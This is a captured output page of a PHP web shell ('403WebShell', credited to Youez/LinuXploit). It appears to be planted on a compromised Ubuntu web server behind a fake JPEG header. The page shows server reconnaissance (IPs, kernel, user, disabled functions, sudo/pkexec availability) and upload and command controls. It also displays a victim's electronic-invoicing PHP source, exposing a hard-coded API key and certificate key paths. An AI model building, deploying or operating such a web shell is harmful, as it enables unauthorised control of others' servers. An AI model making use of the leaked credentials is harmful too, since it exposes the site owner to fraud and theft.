����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.139.234.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/goldencar/sae/application/salesFactura_M/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/goldencar/sae/application/salesFactura_M/generarpdfOK.php
<?php
	ini_set('display_errors', 1);
	error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
	require_once 'nusoap/nusoap.php';
	include 'heredoc_txt.php';
	session_start();
	
	require_once ("../model/dbconn.php");
	require_once ("../model/pos.php");
			
			$posConfig = new pos();
			//impuesto general
			$impuestoBD = $posConfig->getByPreffix('imp-val')[1]['val'];
			//usuario multifacturas real
			$userMulti = $posConfig->getByPreffix('Usuario_Factura')[1]['val'];
			//pass multifacturas real
			$passMulti = $posConfig->getByPreffix('pass_fac')[1]['val'];
			//detalles DEMO CETIFICADOS
			$ArchCerDemo = $posConfig->getByPreffix('archivo_cer_demo')[1]['val'];
			$ArchKeyDemo = $posConfig->getByPreffix('archivo_key_demo')[1]['val']; 
			

$sell_id=$_GET['id'];
//$archTXT = $_GET['uuid_txt'];

if(isset($sell_id))
{	

	//MODO PRUEBAS
				//$url = 'https://dev.timbradorxpress.mx/ws/servicio.do?wsdl'; // EndPoint del servicio
			
			//MODO PRODUCTIVO
				$url = 'https://app.timbradorxpress.mx/ws/servicio.do?wsdl';
	
	$objConexion = new SoapClient($url);										// Creación del objeto de conexión

	# PARÁMETROS DEL MÉTODO
	$apikey = '1713b6cb8fa04b6385ebeb4bdbca013e'; // Credencial o apikye del servicio 
	$arc_TXT2 = file_get_contents('674506223eed51.47535849.txt');		//Mandamos a traer el archivo TXT
	$txtBase64 = base64_encode($arc_TXT2);
	
	//ruta CERTIFICADOS NAVA
			//ruta CERTIFICADOS NAVA
			$keyPEM = file_get_contents('rsc_txt/nvo/CSD_MATRIZ_AUVJ701110R87_20220106_192337.key.pem'); // Archivo .key en formato PEM
			$cerPEM = file_get_contents('rsc_txt/nvo/00001000000510734282.cer.pem'); // Archivo .cer en formato PEM
			
	
	$plantilla = '1'; //Indicamos el numero de plantilla para la representación grafica PDF
	$logo = file_get_contents('rsc_txt/logo34_1.jpg');
	$logo64 = base64_encode($logo);
	
	
	//Consumimos el metodo JSON2 del Servicio WEB
    $res =  $objConexion->timbrarTXT2($apikey, $txtBase64, $keyPEM, $cerPEM,$plantilla,$logo64);

	# RESPUESTA DEL SERVICIO
	echo 'code: '.$res->code.'<br>';
	echo 'message: '.$res->message.'<br><br>';
	/*
		200 - Solicitud procesada con éxito.
		307 - El CFDI contiene un timbre previo.
	*/

	//Cuando sea codigo "200" o "307" se guardaran los archivos XML y PDF
	if ($res->code == '200' || $res->code == '307') {
		// Se crea el objeto de la respuesta del Servicio.
		$dataOBJ = json_decode($res->data);
		
		//definimos los nameSpace para remplazarlos
		$namespaces_remplazo = array(
			'cfdi:','xmlns:','xsi:','oxml:', 'ns3:', 'ns9:', 'ns8:',
			'S:', 'dig:', 'res:', 'wsu:', 'wsse:','ns3:', 'wsu:', 'soapenv:', 'env:',
			'oxml:', '<![CDATA[', ']]>','tfd:','divisas:','ine:','iedu:' ,'detallista:','ventavehiculos:', 'cce11:' , 'leyendasFisc:',
			'aerolineas:', 'donat:','notariospublicos:' ,'servicioparcial:','vehiculousado:' ,'detallista:' , 'terceros:', 'implocal:','pfic:');
		//Se realiza el remplazo de los nameSpace del atributo XML
		$xmlclean = str_replace($namespaces_remplazo ,"",$dataOBJ->xml);
		$xml = simplexml_load_string($xmlclean);
		$json = json_encode($xml);
		$obj = json_decode($json);
		//recorremos el objeto de datos para extraer la informacion del atributo UUID
		$uuid = $obj->{'Complemento'}->{'TimbreFiscalDigital'}->{'@attributes'}->{'UUID'};

		// Creamos los archivos con la extencion .xml y .pdf de la respuesta obtenida del parametro "date"
		//file_put_contents('/xampp/htdocs/php_json/php_TXTEjemplo/Salida_txt/'.$uuid.'.xml', $dataOBJ->xml);   //archivo XML
		//file_put_contents('/xampp/htdocs/php_json/php_TXTEjemplo/Salida_txt/'.$uuid.'.pdf', base64_decode($dataOBJ->pdf)); //Archivo PDF
		
		// Creamos los archivos con la extencion .xml y .pdf de la respuesta obtenida del parametro "date"
				file_put_contents('../../../sdk2/timbrados/cfdi_factura_' . $sell_id . '.xml', $dataOBJ->xml); //archivo XML
				file_put_contents('../../../sdk2/timbrados/cfdi_factura_' . $sell_id . '.pdf', base64_decode($dataOBJ->pdf)); //Archivo PDF
				
		echo "archivo pdf generado!!, valide por favor";
		$result = 1;
		if($result == 1){
					echo "Archivos generados!";
					//print "<script>window.location='./basica11.php?uuid=$uuid&id=$sell_id&rfc=$client_rfc&name=$client_name&sale1=$sale_id';</script>";
				}else{
					echo "Error Detalle al revisar codigo";
				}
				
	}
}else{
	echo "nombre del arvhivo xml no encontrado";
	
}	
?>

Youez - 2016 - github.com/yon3zu
LinuXploit